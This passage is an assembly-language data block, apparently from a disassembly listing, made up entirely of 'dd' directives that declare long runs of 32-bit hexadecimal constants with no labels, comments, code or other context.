		dd 0B88122FEh, 5C8E5727h, 0A9D89CAh, 0D3B07F27h, 0E7907556h
		dd 0C4FC1720h, 0B6FD950Ch, 8D4405D9h, 0B94ABC4Dh, 442D10B8h
		dd 74561F78h, 0FC808A32h, 6827C1ADh, 9DBC0C30h,	0FD2A432Eh
		dd 0BFB3EFA9h, 0A062489Fh, 0B22854BDh, 0CAC4B862h, 45F1572Ch
		dd 313851A5h, 42FBA43Ah, 44132273h, 89C473ACh, 44320D45h
		dd 850D7340h, 0C4CB3490h, 5B752FE9h, 694A8873h,	44379EFDh
		dd 682F57B0h, 2319B6ADh, 531A2B61h, 0A4A3D911h,	4CBF42CDh
		dd 1365C051h, 0D61164E6h, 59975E84h, 84C82A0Ah,	42DD962Dh
		dd 7D38105Ah, 16AD0986h, 68F82184h, 0E82DEEA4h,	6BF2FEE5h
		dd 758ABE65h, 0C268AB32h, 0C44D7A0Bh, 20F5B6FAh, 0E04BDBh
		dd 68561A6Eh, 839CE8E1h, 3982580Bh, 0C941CBD6h,	0EB115381h
		dd 105A8BC2h, 15F0C54Fh, 0CA9C8C4Ah, 0E5DE5F5Eh, 0E8D83051h
		dd 0B0BF2A87h, 4E74FC06h, 0E634AF7Dh, 9DE87BEh,	401FB82h
		dd 11F08909h, 4796BC6Ah, 0B1B614EBh, 28C9F012h,	0D29F7461h
		dd 270B649Ch, 981675DDh, 5D0A4709h, 9BEA45ACh, 80892E4Fh
		dd 440A1A97h, 0F55AE095h, 38066438h, 4D918BE8h,	0EE7D7089h
		dd 0E951223Ah, 0D6829C25h, 0D2DF5ABDh, 8575B1BBh, 0CCBE5645h
		dd 0F85E4676h, 29031BB2h, 0FC668306h, 0D9985834h, 2A89AB0Ch
		dd 0B8F44E74h, 43BE307Ch, 0C2087983h, 0DA3B0E5Ah, 82018FA7h
		dd 9DE942DFh, 0C62630EBh, 729743EAh, 0F7C25B99h, 0ED0826FCh
		dd 68166AC0h, 316BFB88h
		dd 0AE526CCFh, 0E1510F92h, 9B1475F6h, 82018620h, 0BF06284h
		dd 92D7F831h, 2D564AE8h, 7C496A1Ah, 91557365h, 0C63B195Ch
		dd 88105410h, 2BA2059Ch, 80683110h, 0F050C9CBh,	92E817EFh
		dd 9134CD29h, 0A2482F4Ah, 0BFBEF817h, 0A4516D4Ch, 729F25E8h
		dd 1411A6C5h, 4A9F555Bh, 60728913h, 0FB3B0C41h,	47EE30D0h
		dd 24712218h, 35380D6Ah, 271B1B1h, 25EC42B0h, 63757CC5h
		dd 0FC2EF4BBh, 8AC57695h, 0BF205C68h, 29421440h, 5823A05Ah
		dd 75303962h, 0C2D2D50Eh, 0E99FAD65h, 455939B9h, 1775050Dh
		dd 7004D529h, 1F6FEB87h, 3CF23F1Eh, 2CB2F8Fh, 63B768Ch
		dd 48E45C9Dh, 937C1621h, 155A7997h, 280617E0h, 175F5468h
		dd 0AD2CC6E8h, 0EB5ECD0Eh, 48687C01h, 289F1951h, 404C87B2h
		dd 9E69614Eh, 20E5A51h,	1BDEF718h, 0AC6046F6h, 16137501h
		dd 0EC10076Ah, 4680CA1Eh, 0A1E718E6h, 8D6F06B9h, 6E27218Dh
		dd 0EB9562B0h, 5C05BAF7h, 70ADAC9Fh, 6881014Ch,	620B0545h
		dd 27B8FFB4h, 6B8C27DDh, 0E92311CFh, 337DF2B5h,	86474324h
		dd 5317F646h, 0C4221250h, 4534F4B5h, 44123110h,	0EBE90150h
		dd 0BD1A0A22h, 3E4121EEh, 0D1194C18h, 5139FD40h, 0A2F1485h
		dd 9A21BF0Bh, 0BA05DB76h, 0FAEA0A11h, 45C6C450h, 1A244DEBh
		dd 3535B20Dh, 0A17AFD2Eh, 0ECF3C6CFh, 1BEA9822h, 0E3B8A3Bh
		dd 2DE8447Ah, 0AB5E2713h, 2CA22367h, 0AB178DFBh, 10AFC5EBh
		dd 0AE9320C1h, 45220F26h, 66BC54EEh, 9522EAE9h,	158885E6h
		dd 0C9A8413h, 0E8DD1C09h, 0A519EB75h, 4712118Ah, 641A2F6Ah
		dd 2FB28E1Eh, 17D64F76h, 5A00787Ah, 688D4407h, 12F3B2C9h
		dd 4F71FD0Ch, 8018268Eh, 185C91A6h, 6B9AC4E7h, 7423D8EBh
		dd 0DE7E1B49h, 0A7CCFB92h, 12A6A678h, 0D08AE90Ch, 98BFF6EDh
		dd 0D8455F94h, 0A32F25F0h, 1214643Fh, 8FC4EE4Fh, 10444834h
		dd 1BAD2A82h, 0E8506C9h, 0D0A580C7h, 38EBF66Bh,	0C4851B97h
		dd 89B6B2A5h, 89178241h, 0D608BB5h, 190989E5h, 47086E95h
		dd 200CD72Ah, 8312C6FCh, 0D58782A5h, 0A968130Ah, 9525B950h
		dd 104E006Ch, 6E7E5421h, 66CBF828h, 0C142F373h,	68CF13FAh
		dd 0D9332CECh, 0DF92D46h, 0E3293ADAh, 4AA10D7Eh, 2F181CB4h
		dd 0BD6D3DA2h, 83A9ECEEh, 0FDE8102Eh, 5563AA49h, 0C27562Ch
		dd 7EEB11FFh, 30C4EB28h, 198B0903h, 0E062532Ah,	0F6409338h
		dd 1324013h, 0BFD35AAh,	0E4254368h, 0F76C82C8h,	5A1742FEh
		dd 801D3DA8h, 8914F87Dh, 7482D58Dh, 468B14h, 32568404h
		dd 0D2C20975h, 26169359h, 5A2B940h, 62CA8B08h, 3A0CBA0Eh
		dd 833D8E03h, 367515F9h, 28045896h, 0EB070F95h,	0BD458A2Ah
		dd 80CA5D30h, 9371ED65h, 0BE410BE9h, 0AF23FE32h, 0CA05C63Eh
		dd 590CE801h, 300B3ECAh, 42D98817h, 0B82ABD3Ah,	81C7C534h
		dd 9047B555h, 53263BC7h, 9A8B89FBh, 148A601Bh, 82302668h
		dd 247A4298h, 0A32FD9D2h, 0A1DBD981h, 30FAFB31h, 0F8687690h
		dd 33368150h, 8C16A66Eh, 523965DBh, 0AF5ADB9Dh,	99A13053h
		dd 4DD76F2Ch, 2BAF2923h, 0B6506516h, 0B2A59240h, 0BC2F97E5h
		dd 632B8E7Ah, 7B09E8F4h, 688D5041h, 69C71403h, 3B033FC9h
		dd 76830FC1h, 0D5AA4352h, 23B687A3h, 0BD3E120Eh, 0A1C68026h
		dd 0E463260Ch, 0D2AE3551h, 0DCF88B70h, 5357CC8Ch, 49F9122Fh
		dd 2712EC36h, 5CB14842h, 2383EC1Bh, 82E386A5h, 3403FE4Ah
		dd 662D2AB5h, 0E8139BD0h, 18354892h, 0A0C3ED08h, 491B2711h
		dd 26C8F7CCh, 0F84542B0h, 0B92B2C2h, 0BF4EC782h, 574C54C4h
		dd 302327E3h, 3874F07Fh, 1CD08DCEh, 0CCA9E57h, 7DE722FEh
		dd 2CA8F058h, 2228B1D6h, 813E5F24h, 0E39CCA38h,	0DA68CC08h
		dd 0A67EB3Dh, 0CBB253C1h, 0FAECC447h, 0A7B19393h, 484A2925h
		dd 3AB1F8CCh, 951442C6h, 87E37412h, 500AAE19h, 0E4A86A1Dh
		dd 0A48B31E4h, 548B362Ah, 1639CAEh, 0DD3DE9CCh,	9AC9FAB8h
		dd 0C6810912h, 7BFE5AE9h, 0FB3C8F37h, 0EB4912Bh, 0B13351F0h
		dd 0DF5B08D4h, 7EB76D79h, 82887247h, 0CA05163h,	4E048A28h
		dd 32715384h, 76447BB9h, 5B9781FAh, 0D271695Fh,	0BE5B51ACh
		dd 99861D28h, 92109308h, 2B467B0Eh, 5F670925h, 89274311h
		dd 393FB516h, 35B16169h, 3EBE1460h, 6F7489E4h, 0E842C455h
		dd 0E6D7220Fh, 4AEB01C7h, 7D983D80h, 454A0641h,	84A5783Ch
		dd 0A5AFF08Bh, 2187C8F9h, 0B9053BFh, 8EBC2A7h, 0E0BBD1CDh
		dd 89A27225h, 8B41E1B0h, 0AEF85DCEh, 2E9D219h, 0B7468975h
		dd 7574E6C4h, 7610C505h, 180D4503h, 2244AEBEh, 0FFB90E74h
		dd 6F21A015h, 37EB6979h, 32C0CE43h, 81690972h, 0F5CCA0Ch
		dd 1C1CF02Dh, 9E0111BEh, 0C473E888h, 0B75A2714h, 0EF59749Bh
		dd 0E9670204h, 0E81C9544h, 7D2D20F7h, 25D76632h, 0EEF9680Fh
		dd 47E8D09h, 0E885AD74h, 0D29365D9h, 0DD9EF30Eh, 102491B2h
		dd 23C81AE2h, 5495B2F8h, 8689C15Bh, 62232A1Ah, 1E122118h
		dd 22221490h, 264B8D7Fh, 4BA764C8h, 5535A620h, 382C5176h
		dd 38A5F681h, 0FD90A118h, 533B42B6h, 625C7261h,	96563BF1h
		dd 9D81EE23h, 240878FFh, 88588B9Ch, 0C718B504h,	438E0327h
		dd 204F1178h, 2260418Ah, 0B14F9214h, 62FC1C0Dh,	0E8A5E0D8h
		dd 88A25E26h, 199933C6h, 88FB7C08h, 78A53F54h, 406D25Ah
		dd 0EA698D55h, 0F03CE3A3h, 0CDF44A73h, 9EFF0179h, 14FC0501h
		dd 753BB953h, 0A42F4BCBh, 0E07F9875h, 92C2E11Fh, 1009DF0Dh
		dd 0DF310344h, 0B785BBC0h, 28D30C52h, 21A01F85h, 49FE1413h
		dd 8445B012h, 0A84A610h, 82D5253Eh, 93BD81D1h, 1D8453AEh
		dd 1514A262h, 438958Bh,	23242F6h, 623F85A6h, 834FBD44h
		dd 42242A26h, 0E484C802h, 8CD37503h, 74DA1C4Bh,	0F85D40Ch
		dd 0EBD30233h, 87E38AFBh, 9D314F76h, 0A5800D94h, 99992BF2h
		dd 709C6FCh, 188AC673h,	71E80102h, 0A29B53F4h, 3548ED29h
		dd 0B895448Dh, 0BBAA13FAh, 0C823AA21h, 0E0B1CA03h, 0B0D02B51h
		dd 4A11E8F0h, 498E646h,	6974DF3Bh, 0E8099FE2h, 39B01EBEh
		dd 582974F7h, 17A2FF8Dh, 0B1E3E0BDh, 0BC7AB91Eh, 5E884DDDh
		dd 52762D08h, 47554348h, 87482283h, 7BED48B2h, 0A49081A9h
		dd 0D868D3D8h, 69420096h, 0B9A7DA0h, 0D03A8E84h, 2E78396Fh
		dd 69850F0Bh, 0A996F1FEh, 99BA4C8h, 0CB5667CBh,	684F0C4h
		dd 1E460399h, 81029F50h, 0F411FE2Bh, 11223B75h,	915494CAh
		dd 110B5815h, 0AE10FB78h, 0D9188B77h, 0C6DF49F6h, 68504C9Ah
		dd 1DE5E8C2h, 3FE1917Eh, 0A93E8068h, 910C8B6h, 0C6D562CAh
		dd 7EF9B568h, 6182BB2h,	99C75DC3h, 755B3868h, 0F4618118h
		dd 0F24C3689h, 8DB0B710h, 0DC8A03BCh, 0FE44588Bh, 1D8B2384h
		dd 42117D1Bh, 6C10A829h, 235A8D83h, 388FC628h, 748B2033h
		dd 0BE4C5667h, 6AC6C293h, 47D95F12h, 0A0F64317h, 0BE592F79h
		dd 4443A9EEh, 218B562Bh, 0B670270Fh, 51895C98h,	0E1FB140Fh
		dd 1F25086Ch, 380C1286h, 5C9165Dh, 0CD2A5E05h, 3BB07A7Dh
		dd 3748F7A2h, 0FAD49788h, 0E8834890h, 8F299EE3h, 0A93DAFB5h
		dd 0C96D17Ch, 0BCC4BAA6h, 0F5A2BA1Ch, 0C4D60A1h, 11834684h
		dd 2812F727h, 0B40E6875h, 329D0241h, 0E20EA4B1h, 7D10FD4Ch
		dd 6F6F8C1Ch, 0D82AA11h, 0FE56B504h, 50C9AEE8h,	13D157E6h
		dd 4387172Ah, 63746398h, 45081A33h, 5263DD76h, 0F4C62B61h
		dd 299030B9h, 10F0A6D2h, 19858408h, 0C1BEAC9Eh,	0F27D803Eh
		dd 2A3875C0h, 283220E8h
		dd 8D64853Bh, 7720237h,	0BCA9D068h, 0A01DB9F6h,	0FE5A08E1h
		dd 0EC9DD942h, 0AEB55263h, 0B775A540h, 0F549EEDBh, 0AC45AC6Eh
		dd 7B48E13Ah, 0BB056001h, 913A3550h, 7E1BF26Eh,	91324CE6h
		dd 0D9DF3D37h, 0EB86134Bh, 4B74D28Ch, 0D03F440Dh, 0F88B461Bh
		dd 32C4B7E0h, 6AE90395h, 91FAA581h, 23627700h, 58E80923h
		dd 3864141Bh, 8D4D6851h, 444BAED3h, 4A98FA3Eh, 4424BA06h
		dd 1F6AB2EDh, 0E86434Fh, 0BE892109h, 247F440Ah,	662B4BD4h
		dd 9F906353h, 35118446h, 70972DF8h, 26F4B728h, 0C894845Ah
		dd 0B3A20E52h, 0FD38C4D1h, 181AE921h, 6011D2DBh, 3C9D8B07h
		dd 6EE80DC4h, 4E540EE1h, 1121B7EBh, 5A27FD38h, 0D8752A62h
		dd 0F7856321h, 3EB3B70Fh, 8145351h, 21C95037h, 0BD64333Ch
		dd 3823BDA3h, 0A8844890h, 9C762184h, 0D435C193h, 0D6B4AE0Eh
		dd 0F5D9BDE0h, 8832759Dh, 29B3E2D6h, 44E47782h,	4E3CFC52h
		dd 0CC4622BBh, 9D3B6621h, 57086B45h, 7369AFBFh,	0C3DD980Ah
		dd 9F1E869Eh, 0F02546ECh, 5DA9A443h, 7FF311AFh,	4084E882h
		dd 0CD0875D3h, 3109E53Eh, 3AA07647h, 0E89A01F8h, 3833F911h
		dd 5674C5F6h, 50757528h, 8EB4194Ah, 4D8D3D0Bh, 6F3E40F0h
		dd 44F89E3Ah, 509012E0h, 0F56580F8h, 0E31C6C5Dh, 93278694h
		dd 0E0F8B19Bh, 0AAEBD551h, 29AC4A42h, 59EC3300h, 3CFD24E9h
		dd 1986C4EFh, 0EC7AFC22h, 0DB4448EBh, 0EC79FAFDh, 589050E8h
		dd 45A043C8h, 865C9F45h, 0E2724AD4h, 6551A2D0h,	16588A0h
		dd 0F5E4590h, 65735A28h, 0D0601B85h, 4A2D94B6h,	0FC0D6C19h
		dd 3A10647Dh, 94F2523Dh, 0BFE3B12h, 0B79A3058h,	4227A941h
		dd 0DB04D823h, 466486B8h, 0DE3B461Ah, 2312453Ch, 0AFE80938h
		dd 0A7EEF518h, 3BC3FD70h, 4A0676FBh, 10B3C39Ah,	0BF34CE64h
		dd 0DFCFC1F2h, 4194CAD3h, 6B830980h, 0EF384EC9h, 3455D3Fh
		dd 5E4E1C13h, 4FB0C32Ch, 7DF02818h, 972ED384h, 360204F0h
		dd 10575812h, 512542A3h, 6DE85666h, 6389E995h, 0FC236619h
		dd 77064417h, 2ECA037Ch, 890938B8h, 39E3E99Eh, 0A27A6B6h
		dd 0BE39229Dh, 19FB570Ch, 7895305h, 2C104382h, 174CEBA2h
		dd 623C91C8h, 6A37FFA9h, 1B542F57h, 6084E4E5h, 68C25FE8h
		dd 5E7684F0h, 22F9C9E2h, 2011703Eh, 4208296Eh, 82898D77h
		dd 0BE9333DEh, 0EF9CD7EBh, 852CBB63h, 0E1E81009h, 0E32BF417h
		dd 0FA8C4759h, 98578CF4h, 9F148E8Ch, 0B5E8F70h,	0C1332780h
		dd 510B9D43h, 7C193A78h, 2A0D4804h, 9F4DFC34h, 88E601F8h
		dd 32A90168h, 13B39B10h, 0AEA8C4Ah, 0A75E0504h,	6858EDEh
		dd 0A317A9EBh, 6A2491BEh, 45F13F01h, 39F58A6Ah,	930C2983h
		dd 8AA1F816h, 9E49B82Ah, 85A4127Bh, 7D04D8FFh, 1352F846h
		dd 5314A04Eh, 5F02576Bh, 0F839BFC6h, 57F4A589h,	0C0D3192h
		dd 9B82AAAh, 0EA1FBA96h, 0DB183A93h, 0B8046A81h, 5BF82CEBh
		dd 0C73B6355h, 23744106h, 952F8868h, 0B816E885h, 488D8281h
		dd 4E89DD0Fh, 167E2AA2h, 78692C76h, 56712EEAh, 4B781B71h
		dd 0F621B120h, 8A17D964h, 0BE419694h, 3ABEA4F5h, 2C2CA029h
		dd 0FAD09263h, 0FA92E18Ah, 1122A982h, 6814411Dh, 443E524Ch
		dd 8667732Ch, 97971444h, 74600FD4h, 9DC4EB02h, 5FAE21Eh
		dd 0BC0CA789h, 0FB11FD47h, 14ED8F15h, 443C2517h, 0CACA5E9Eh
		dd 21E659E9h, 6F7408BCh, 24AEA7C4h, 0B4131692h,	19BD30F9h
		dd 86D56814h, 4AACF548h, 5815B497h, 0B4DB3388h,	144D2180h
		dd 0BB97D668h, 3FC19A94h, 1D479D88h, 0BDD5BFA6h, 0C14BED74h
		dd 0A39D4573h, 0D74246Ah, 912DB9E8h, 4E4C910Ch,	100AB832h
		dd 3B7A0444h, 1C027233h, 9B3D2253h, 9AD87E9Fh, 1A251240h
		dd 5702A0C3h, 0E80B750Dh, 4660216Ch, 0FBABBDFFh, 6D551E52h
		dd 6B13CA46h, 0CFFC740h, 5468828Bh, 3756A0B8h, 0B52D69E8h
		dd 0FC0B1BB0h, 0D845CEAh, 4AAE24A8h, 110E4E31h,	64F88AA0h
		dd 0E9829BFh, 3295F41Fh, 7F282572h, 0DE47425h, 4D746B1h
		dd 7D75F0B9h, 75DDEC48h, 0F8171195h, 0B7302C90h, 0CB2310D8h
		dd 162EA8F4h, 0D22B0EFh, 5DC259Fh, 0F0081522h, 0F9832233h
		dd 14F48CABh, 0A164221Ch, 77468CD2h, 0FCBC281Ah, 63C5213h
		dd 2520FD21h, 145B1C90h, 3C2249E6h, 0BC7C5AC8h,	57BF7528h
		dd 0FC211789h, 0C8D06C10h, 1017722Bh, 685CC8BCh, 175B15D1h
		dd 4C8A7290h, 1AE49317h, 141A2F46h, 31E80718h, 91DCFC5Fh
		dd 190BBD62h, 0B4C8C459h, 713550C5h, 3D43F4CAh,	1315BC29h
		dd 6E6336C0h, 0C71E204Ch, 0F3EF958Eh, 29953A65h, 0F39F0EFh
		dd 10E8A6C9h, 0F9778D08h, 0F0F5602Bh, 134168E8h, 6B45A46Dh
		dd 2F214B31h, 0E8F62C2Bh, 0C9B48B4Dh, 777796FCh, 352984E4h
		dd 0A9A4A595h, 576CCBE2h, 0B0B6B17h, 62B14513h,	0C21B43AFh
		dd 0FEB83086h, 8E6B7788h, 195D80FCh, 15D810AFh,	9812354Ch
		dd 0E153F90Fh, 0C308FD70h, 0B53C1246h, 5FB95F47h, 0EB240269h
		dd 0B6A81EFCh, 0A0922020h, 0A1117DEFh, 33087098h, 0E5E91384h
		dd 0EC1A2106h, 14D20C6h, 0F4E44AC9h, 0EC0318DDh, 9864E880h
		dd 1AA8BD1h, 51E44D85h,	0B306E153h, 1A38BCD8h, 98681D75h
		dd 87381177h, 88463FA1h, 8F446BEDh, 70270E54h, 0E2744CB1h
		dd 10891C22h, 6182942Ah, 0E4150C82h, 0F0595D23h, 40394886h
		dd 6DA5390Fh, 922B10h, 0C0558DC9h, 28F15253h, 27595827h
		dd 7F22F751h, 55B205FCh, 0ED461E74h, 0EC83001Fh, 0C0758D10h
		dd 71B5FC8Bh, 2A59824h,	67A31868h, 7AB7FBCCh, 220CB46h
		dd 0CD84DC42h, 51DC7114h, 0CDC00895h, 44CFA477h, 19850C3Ch
		dd 4A3947B8h, 1F9B2132h, 4790E845h, 84629FB0h, 0D8034060h
		dd 0A26D1085h, 26B024D8h, 546489CFh, 8E867D1Ah,	64375536h
		dd 78D004FEh, 0C40448D4h, 3D8BD082h, 813515Dh, 680AF844h
		dd 94FE314h, 6550C4D7h,	0D4E0F4ECh, 0F04761BBh,	78530313h
		dd 83EAD0E0h, 3F48E0C8h, 0B2850614h, 0CF283444h, 20EF5E13h
		dd 0B4A410C0h, 4E1F269Eh, 73C13B83h, 9BC98B33h,	76F3C1D2h
		dd 0E843C22Bh, 3AB0035Dh, 0ECBC5AC3h, 0FA44104Bh, 7EB2C05h
		dd 410A2288h, 0D69181F5h, 9CF9DE72h, 1D8D43F9h,	148D14EBh
		dd 98A7BF9Eh, 8B0A9E43h, 93B50435h, 84CAFCBFh, 0CCBE5C85h
		dd 4DCAD683h, 3E4D0AF6h, 58AEF56Eh, 85368BAh, 5D625D4h
		dd 758030D0h, 6F9D38F0h, 256A2B09h, 67504553h, 49B279F8h
		dd 0C8888B54h, 91DE4288h, 424C1411h, 5B8847BCh,	32D4D6ACh
		dd 0A8880421h, 91D088FCh, 0F1EABE65h, 1154091Ah, 6B0FFCFDh
		dd 2B2BF4A6h, 8EE99013h, 37695E40h, 1A726534h, 188810CFh
		dd 9B9D55E7h, 1A284565h, 646488A7h, 39183237h, 0A16F0D58h
		dd 52A82AA9h, 0FF7CC2E4h, 0E0D421D7h, 817B4376h, 22CB3AFEh
		dd 0D3D2370h, 0C158512Ah, 4D8C0922h, 803F1275h,	7440F90Ch
		dd 0EA2E0A0Ah, 755F8005h, 88250B62h, 472DA38Ch,	403B8A46h
		dd 90BD72C4h, 3808FF94h, 8D1A24B0h, 401346B5h, 5B0FD41Fh
		dd 7D5BED86h, 56489995h, 1404FF91h, 4A8B54BFh, 43AE099h
		dd 9C0EEEF6h, 13AE110Eh, 0F445DB42h, 0D0660A7Fh, 1B19C61Eh
		dd 4035C342h, 2277AD04h, 844F84FFh, 0A46FCA0Dh,	13195A4Ah
		dd 214A4A91h, 0A3EA2C86h, 2040883Ch, 8D405629h,	93090674h
		dd 7102245Ah, 0FC31E218h, 8814211Bh, 1B6A8FDCh,	0E50184B4h
		dd 390440B6h, 148C0F8Dh, 95572247h, 295DE26Eh, 87FC45B8h
		dd 0DE9E889h, 42F3DC3Eh
		dd 0F4BE37C2h, 1965C587h, 230DBB56h, 8813D012h,	0A1C848C9h
		dd 86A0911h, 157B2996h,	0ECC56D99h, 0E29E5A48h,	17995B75h
		dd 14D60DE4h, 0E44A444Dh, 8717F064h, 9A5484BAh,	429C8A4Fh
		dd 0F48EA9B8h, 0E56BE993h, 0F1885410h, 0C40A0D17h, 116A0D04h
		dd 29AF0CEAh, 52909640h, 85FE18C9h, 0F7496229h,	0BC59E4E1h
		dd 643952A3h, 49584B1Dh, 0FB4F05E9h, 52D8ABD2h,	9A6E9C98h
		dd 0F3C23D92h, 0E9A1F1CBh, 450B4187h, 13590DCh,	2CF9E884h
		dd 0C417D2DDh, 2176B677h, 0B7F0E40Ch, 90048A68h, 26EDC267h
		dd 5B849229h, 0E425DC65h, 0FC5D881Ah, 136342AEh, 0EC200A53h
		dd 21D94D83h, 0F4C96F11h, 0D95F96CAh, 7E46A7F5h, 24533D4Eh
		dd 9C3580A0h, 0B6562A6h, 3C090817h, 30896062h, 1F101E6h
		dd 8B1C63D1h, 197C21FDh, 72643A60h, 846DF7EAh, 1721FE44h
		dd 0D609180Bh, 790B1911h, 99DB7889h, 0EC02F006h, 0DB330801h
		dd 0AE935F29h, 5D53A092h, 6A0A9859h, 8C631507h,	0B16EC8Ah
		dd 76EC0F45h, 549FC29Fh, 0F47D0A3Eh, 3278641Eh,	327A6563h
		dd 6C39EC35h, 8287490Ch, 0FB814308h, 908C917Fh,	0BC7F5C31h
		dd 0EBBBCBF2h, 0DBE6408Eh, 748A5F2Ch, 0D7E2E090h, 2DA866B7h
		dd 0E0E601F8h, 0AF358B2Fh, 7CD62978h, 0CC34202Bh, 14566A5Eh
		dd 140130A1h, 3BF02D62h, 46904E4Bh, 0C64244B8h,	0B48B940h
		dd 33297400h, 0F45539D2h, 0F8244075h, 0F0811FEAh, 0EC031AE9h
		dd 80415FAh, 10E7A613h,	590A6395h, 12955EBh, 8B047408h
		dd 0D102EDD9h, 994BBCD8h, 0F81275F9h, 0F13767BFh, 7D836313h
		dd 0D1EC0FE7h, 0F481D015h, 0C110B0B1h, 52747053h, 849C3897h
		dd 0A7278489h, 93CC58Bh, 155B6340h, 218DB627h, 2270097Eh
		dd 9423863Ah, 9990F8Ah,	61EA1310h, 0F8D23EE2h, 0E6388CCDh
		dd 1672D23Ah, 6061EF8Bh, 727F4E7Fh, 0D1571A2Fh,	50220AC4h
		dd 2C65641Ah, 98C6EE0Fh, 0D22BE77Ah, 3C7DC8A6h,	83147002h
		dd 6AB558C6h, 7F83C3EEh, 5885956Ah, 0E437672Eh,	0B2B0FB63h
		dd 720113FBh, 0B44B4A13h, 79E88594h, 481B63FFh,	88023021h
		dd 61908B10h, 30430B2h,	49118432h, 3A18200Bh, 0C8C47204h
		dd 96314284h, 3A9EDDEBh, 9CB88C70h, 261C9219h, 0C2C008DEh
		dd 103803ABh, 577A84FCh, 1149658Ch, 0CEA2FB8Ah,	0BC7F1951h
		dd 71B949EAh, 23530FA0h, 0BAAC15Bh, 0DE0B89BBh,	0A433E57Dh
		dd 1BE6A6E2h, 8E1095EBh, 0AE4FF690h, 4D04C357h,	24262270h
		dd 0EA06DE97h, 89A22FE2h, 0FE2903BBh, 10C011EAh, 661907FFh
		dd 890216C7h, 0EB0C4738h, 8356D6Ch, 3F16EBBCh, 0BFA85650h
		dd 6B3386E3h, 76BC2A53h, 0D80FC968h, 9324E1D6h,	7C569843h
		dd 0F646B578h, 222A6C56h, 5518905Ch, 5260AC14h,	1818ED10h
		dd 0F194FE44h, 89537008h, 42A44AD4h, 9DFB4411h,	6A0D8FF7h
		dd 23B1133Fh, 0ACB00897h, 44AAB43Eh, 42FB103Ch,	82841AE8h
		dd 9274B06h, 4CD67FD0h,	21112B51h, 0EF24A2DBh, 2D94CA6Ah
		dd 553764E0h, 1894D65Dh, 0E53348D0h, 966EE4AAh,	0D12ED873h
		dd 5438A183h, 0C4668214h, 1522FF54h, 0EE07312Ch, 0A0D41E6Ch
		dd 546485D8h, 7028A8E6h, 3B568110h, 0A48DBD98h,	59392FC3h
		dd 2842803h, 7BE16385h,	0CDDFA8CCh, 842E1173h, 8A3405AAh
		dd 0EB06168Dh, 9514CA1Eh, 0BC547E09h, 0CF008B10h, 0C83BCA2Bh
		dd 20FA773h, 0C10C4FB6h, 1C9804E9h, 8B288F34h, 0B29018CEh
		dd 0D6832769h, 0A90616DDh, 376D3775h, 0B20E5C9Bh, 382110D2h
		dd 0D331A65Dh, 92C7A604h, 1033FBEEh, 8801FC28h,	3270E4ACh
		dd 8B6621E8h, 2A9C3F07h, 75C2A13Bh, 84101F4Bh, 84D0A8C9h
		dd 0AA88E042h, 0DC126AA4h, 0F4BEAA64h, 6E9BCE45h, 8D3D6927h
		dd 15F0AB15h, 3C808008h, 0BA0D313Fh, 80AD5E04h,	38142D3Eh
		dd 3E3B080Ah, 0B50718A8h, 810157Eh, 54866651h, 16891E38h
		dd 8A009E98h, 0FA803014h, 0C1097D7Fh, 47E1F0Ah,	4131F488h
		dd 1C384003h, 3FE97530h, 1BF88A39h, 8E88CB3Bh, 0B732B622h
		dd 0B5454AF4h, 0DDFB8913h, 0F7A724C3h, 4AF8418Ah, 8948D6Eh
		dd 908D7421h, 0A02888F8h, 24735D6h, 9AA2EB4Bh, 0EFD11ED0h
		dd 0F7881546h, 2F90FB2h, 7E666068h, 0FC49035Fh,	834A57F8h
		dd 8280465Dh, 2DB3581Ch, 0BFF949D1h, 29AF59B4h,	0C2836C08h
		dd 0DD86BFE8h, 0F6B52796h, 151AC9BEh, 7005DA54h, 4A567FB8h
		dd 20AF5C52h, 3577319h,	528CF05Eh, 4359A685h, 0D10C2178h
		dd 17C81B66h, 7FA47B6Eh, 2E7D75A0h, 9C1AB72h, 0AC7FE9F4h
		dd 0B5561118h, 1022716Eh, 5DC523FCh, 2703ABC2h,	7251A805h
		dd 77EEA26Ah, 8916D1B7h, 6E7F0446h, 0FA16D3B3h,	0B613D756h
		dd 2AA599FBh, 8D13E5F3h, 0C627B046h, 6CCF486Ch,	8B1BD18h
		dd 633AD08h, 9FB0BE7Bh,	0F572ACDCh, 157C31E2h, 8D17EB2Ch
		dd 551DDBF2h, 2425E00Ch, 9330575Ch, 33417868h, 34C7E5ACh
		dd 3237F66Ch, 2FAC840Bh, 0C30C8392h, 56568E73h,	9B954023h
		dd 62AC0357h, 0F757324Ah, 89067529h, 0CC82798h,	569BF70h
		dd 8655C47Ah, 0AC2FFA12h, 4F20C8C7h, 0DB5EBB40h, 9D98D7B6h
		dd 0B8C5A956h, 44E6F7FEh, 7776E811h, 10C299B5h,	28D80E52h
		dd 40590A1Eh, 5CFC227Fh, 0E8129708h, 3B45E164h,	0A8882CA9h
		dd 2751717Ch, 55DCDCB8h, 0DD032F89h, 0E9BF3C4Ch, 0D996FC9Bh
		dd 7B49F933h, 8E0C3515h, 87676C8h, 320D73BFh, 57260416h
		dd 6811E10Eh, 0B3212A54h, 404EEA4h, 0BE0289FFh,	6FBD7ACCh
		dd 6351FD8h, 51C4D4Ch, 0AAC2EDE8h, 2E4825D3h, 0FF84579Bh
		dd 89092104h, 17ED1184h, 0A12E73F5h, 88AC7EDCh,	0C981D2D6h
		dd 1AD6E821h, 620D0034h, 58E90B33h, 22D81022h, 6E22A065h
		dd 0F56A0791h, 58325BEh, 18A29435h, 9333100Dh, 57A1458Ch
		dd 9C9D87C7h, 0D05AA310h, 0A19328A4h, 8908D40Ah, 21D84284h
		dd 5FDC117Fh, 853421BBh, 0EE9655E0h, 75C546F7h,	6E2DE113h
		dd 1FDD1DDh, 465E8214h,	7BE82C98h, 0C00410A2h, 0D674300Ch
		dd 5BC1980h, 425C31DFh,	0D82B07BCh, 0BE2689ACh,	940D3B44h
		dd 0D5DA2749h, 7F3EB519h, 2F78F6E3h, 7DA63D4Fh,	501C7D14h
		dd 0FC690268h, 1A227408h, 0C410257h, 78376381h,	10569C35h
		dd 0B1DC4E08h, 5EFE40Ch, 3B2799EBh, 29E88688h, 9847DE6h
		dd 6DEA2A58h, 832EA922h, 741923A1h, 14094862h, 9CEF02B7h
		dd 485C85A0h, 0ECCAC15Eh, 0EB0E2883h, 1D85CAC4h, 68BC133Ch
		dd 0E8E033EFh, 9B450AEDh, 29A08A4Bh, 21D1A076h,	1996EEDCh
		dd 1429E1F9h, 0C2A237Ah, 0B87B8FD1h, 0E925179Ah, 40354954h
		dd 3893B7BAh, 13B9E374h, 9DBB142Ah, 193A2318h, 48474DE9h
